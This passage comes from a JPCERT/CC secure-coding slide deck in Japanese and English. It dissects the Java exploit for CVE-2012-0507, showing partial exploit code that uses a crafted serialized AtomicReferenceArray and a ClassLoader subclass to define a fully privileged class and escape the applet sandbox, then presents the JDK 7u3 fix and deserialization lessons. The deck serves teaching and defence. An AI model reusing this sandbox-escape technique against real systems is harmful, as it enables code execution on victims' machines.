rights reserved.25 public class Exploit extends Applet { : public static byte[] StringToBytes(String s) { return (converts s to byte data); } public void init() { String as[] = { “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…) }; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getClass().getClassLoader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; : Help.doWork(ahelp[0], this, …); } Exploit.java Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[] array 変数は ahelp を参照す るように細⼯工されている シリアライズデータの内部構造
26.
Copyright©2014 JPCERT/CC All
rights reserved. ! array 変数は ahelp を参照するように細⼯工され ている ! array への代⼊入操作は ahelp への代⼊入となり、 ahelp を通じて参照できるようになる 26 通常の Java のコードからはこのよう な不不正なデータ構造はつくられない Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[]
27.
Copyright©2014 JPCERT/CC All
rights reserved.27 public class Exploit extends Applet { : public static byte[] StringToBytes(String s) { return (converts s to byte data); } public void init() { String as[] = { “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…) }; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getClass().getClassLoader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; : Help.doWork(ahelp[0], this, …); } Exploit.java Exploit Code for CVE-2012-0507 aobj[0] aobj[1] Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array Object aobj[] ClassLoader Classloader オブジェクトが array[0] に代⼊入される, これ は ahelp[0] への代⼊入が⾏行行わ れたことになる
28.
Copyright©2014 JPCERT/CC All
rights reserved.28 public class Exploit extends Applet { : public static byte[] StringToBytes(String s) { return (converts s to byte data); } public void init() { String as[] = { “ACED0005757200135B4C6A6176612E6C616E672E4F62”, (serialized data in hexadecimal…) }; StringBuilder stringbuilder = new StringBuilder(); for(int i = 0; i < as.length; i++) stringbuilder.append(as[i]); ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString()))); Object aobj[] = (Object[])objectinputstream.readObject(); Help ahelp[] = (Help[])aobj[0]; AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1]; ClassLoader classloader = getClass().getClassLoader(); atomicreferencearray.set(0, classloader); Help _tmp = ahelp[0]; : Help.doWork(ahelp[0], this, …); } Exploit.java Exploit Code for CVE-2012-0507 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) { Class cls = null; : cls = h.defineClass( ...); : } } Help は ClassLoader のサブクラスなので defineClass メソッドを呼び出すことが可能 Help.java Help は ClassLoader のサブクラス
29.
Copyright©2014 JPCERT/CC All
rights reserved.29 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) { : ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; InputStream is = expl.getClass().getResourceAsStream(“directory path to create”); while( ( length = is.read( buffer ) ) > 0 ) bos.write( buffer, 0, length ); buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass(); : } } Help.java Helpクラス(doWorkメソッド)は任意の権限を持ったク ラスを⽣生成できる. Exploit Code for CVE-2012-0507
30.
Copyright©2014 JPCERT/CC All
rights reserved.30 public class Help extends ClassLoader implements Serializable { public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) { : ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[8192]; InputStream is = expl.getClass().getResourceAsStream(“directory path to create”); while( ( length = is.read( buffer ) ) > 0 ) bos.write( buffer, 0, length ); buffer = bos.toByteArray(); URL url = new URL( "file:///" ); Certificate[] certs = new Certificate[0]; Permissions perm = new Permissions(); perm.add( new AllPermission() ); ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm ); cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd ); Class class_cls = cls.getClass(); : } } Help.java Helpクラス(doWorkメソッド)は任意の権限を持ったク ラスを⽣生成できる. コード位置. “file:///” は任意のローカルファイルを表す. ⽣生成するクラスの バイトストリームデータ Exploit Code for CVE-2012-0507 システムリソースへのアクセス権. “AllPermission()” は全てのアクセス権の許可 を意味する (読み取り, 書き込み, 実⾏行行) 定義されるクラスは全てのローカルファイ ルに対して全てのアクセス権が許可される (読み取り, 書き込み, 実⾏行行)
31.
Copyright©2014 JPCERT/CC All
rights reserved.31 Malicious Web Site Exploit Help ダウンロード ClassLoader サンドボックス JVM Attacking class Help クラスはサンドボックス による制限がかからないクラス をつくることができる defineClass() Exploit Code for CVE-2012-0507 ここで復復元処理理が⾏行行われている
32.
Copyright©2014 JPCERT/CC All
rights reserved. Why the exploit works? ! Unsafe クラスは信頼できるクラスからしか使えない想定 (呼び出 し元がブートローダ由来のクラスであることをチェックするように なっている). ! putObjectVolatile メソッドは引数の型が⼀一致することをチェック しないままコピー操作を⾏行行っている. 32 ! 内部で Unsafe クラスを使っている ! シリアライズ可能なクラスであるが、readObject メソッドを独⾃自に 定義していない (デフォルトの復復元処理理ではシリアライズデータの 検証は⾏行行われない) ! AtomicReferenceArray クラスのシリアライズデータを復復元する処 理理において、細⼯工したデータを書き込ませることが可能 Unsafe クラス AtomicReferenceArray クラス
33.
Copyright©2014 JPCERT/CC All
rights reserved. どのように修正したのか? ! AtomicReferenceArray クラスの復復元処理理で⼊入⼒力力値検証 を⾏行行うようにした — クラス内部に持っている array フィールドが配列列型でない 場合、復復元処理理は失敗するようにした ! 独⾃自の readObject メソッドを⽤用意し、array フィール ドが必ず Object 配列列を参照するようにした — シリアライズデータ中の array データが Object 配列列でな い場合には強制的に Object 配列列としてコピーする 33
34.
Copyright©2014 JPCERT/CC All
rights reserved. Fixing The Problem 34 この問題はJDK 7u3 で修正された. public class AtomicReferenceArray<E> implements java.io.Serializable { : private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { : } } AtomicReferenceArray.java (修正版) readObject メソッドを追加し、復復元処理理 内容をカスタマイズ
35.
Copyright©2014 JPCERT/CC All
rights reserved.35 public class AtomicReferenceArray<E> implements java.io.Serializable { …….. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } …….. AtomicReferenceArray.java (修正版) AtomicReferenceArray::readObject array フィールドのシリア ライズデータを読み込み シリアライズデータ を配列列としてコピーarray フィールドにコピー 配列列型でなかったら 例例外をスロー
36.
Copyright©2014 JPCERT/CC All
rights reserved.36 public class AtomicReferenceArray<E> implements java.io.Serializable { …….. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } …….. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject AtomicReferenceArray private Object [] array シリアライズデータ array データ Object [0] Object [1] Object [2] ・ ・ ・ 配列列型でなかったら 例例外をスロー
37.
Copyright©2014 JPCERT/CC All
rights reserved.37 public class AtomicReferenceArray<E> implements java.io.Serializable { …….. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } …….. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject copying serialized data as an array Help [0] Help [1] Help [2] ・ ・ ・ 細⼯工された array データ 正しい array データ Object [0] Object [1] Object [2] ・ ・ ・ Help [0] Help [1] Help [2] ・ ・ ・ 細⼯工された array データ 正しい型の array データ Object [0] Object [1] Object [2] ・ ・ ・ Object 配列列型でなけ れば強制的にObject 配列列型にコピーする AtomicReferenceArray private Object [] array シリアライズデータ
38.
Copyright©2014 JPCERT/CC All
rights reserved.38 public class AtomicReferenceArray<E> implements java.io.Serializable { …….. private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { Object a = s.readFields().get("array", null); if (a == null || !a.getClass().isArray()) throw new java.io.InvalidObjectException("Not array type"); if (a.getClass() != Object[].class) a = Arrays.copyOf((Object[])a, Array.getLength(a), Object[].class); unsafe.putObjectVolatile(this, arrayFieldOffset, a); } } …….. AtomicReferenceArray.java (fixed version) AtomicReferenceArray::readObject static { int scale; try { unsafe = Unsafe.getUnsafe(); arrayFieldOffset = unsafe.objectFieldOffset (AtomicReferenceArray.class.getDeclaredField("array")); base = unsafe.arrayBaseOffset(Object[].class); scale = unsafe.arrayIndexScale(Object[].class); : } arrayFieldOffset は クラス初期化時に array フィールドの オフセット値に初期 化される array フィールドにコピー
39.
Copyright©2014 JPCERT/CC All
rights reserved. Object [0] Object [1] Object [2] ・ ・ ・ What happens if the fixed code is exploited 39 Help[] ahelp[] AtomicReferenceArray atomicreferencearray private Object [] array aobj[0] aobj[1] Object aobj[] ClassLoader array フィールドはコピーされた配列列を 参照している。ahelp とは別のもの。 その結果、ahelp[0] の値は null になる。 もしアクセスすると NullPointerException がスローされる。 Arrays.copyOf(...) array Help [0] Help [1] Help [2] ・ ・ ・ ahelp シリアライズデータが Object 配列列型でない場合 強制的に Object 配列列型に コピーされる
40.
Copyright©2014 JPCERT/CC All
rights reserved. Note to this fix ! 新たに定義した readObject メソッドの処理理内容は AtomicReferenceArray クラスの内部構造に依存 ! AtomicReferenceArray クラスの内部構造を変更更すると きには readObject メソッドの処理理もそれに応じて変更更 する必要あり 40
41.
Copyright©2014 JPCERT/CC All
rights reserved. Summary n 何が問題だったか? • 復復元処理理で適切切な⼊入⼒力力値検証が⾏行行われていなかっ た • 内部のフィールドが参照しているデータが Object配列列型であることの確認 n 反省省点 • シリアライズ可能なクラスでは、独⾃自の readObject メソッドを定義し, シリアライズデー タが想定通りのものであることを検証すべき • Unsafe クラスのメソッドに渡す引数も想定通り のものであることを検証すべき 41
42.
Copyright©2014 JPCERT/CC All
rights reserved. Java セキュアコーディングスタンダード ! SER07-J. 実装上必要となる不不変条件がある場合にはデ フォルトのシリアライズ形式を使わない ! https://www.jpcert.or.jp/java-rules/ser07-j.html 42
43.
Copyright©2014 JPCERT/CC All
rights reserved. CWE: Common Weakness Enumeration ! CWE-502: Deserialization of Untrusted Data ! http://cwe.mitre.org/data/definitions/502.html 43
44.
Copyright©2014 JPCERT/CC All
rights reserved. References ! CVE-2012-0507 — http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0507 ! CVE-2012-0507 Java AtomicReferenceArray Type Violation Vulnerability — http://www.rapid7.com/db/modules/exploit/multi/browser/ java_atomicreferencearray ! Recent Java Exploitation Trends and malware — https://media.blackhat.com/bh-us-12/Briefings/Oh/ BH_US_12_Oh_Recent_Java_Exploitation_Trends_and_Malware_Slides.pdf ! Exploiting Type Confusion Vulnerabilities in Oracle JRE (CVE-2011-3521/CVE-2012-0507) — http://schierlm.users.sourceforge.net/TypeConfusion.html ! The infamous sun.misc.Unsafe explained — http://www.javacodegeeks.com/2013/12/the-infamous-sun- misc-unsafe-explained.html 44
45.
Copyright©2014 JPCERT/CC All
rights reserved.45 ⼀一般社団法⼈人JPCERTコーディネーションセンター (https://www.jpcert.or.jp/) セキュアコーディング (https://www.jpcert.or.jp/securecoding/) お問い合わせはこちらにどうぞ… (secure-‐‑‒coding@jpcert.or.jp)
Baixar agora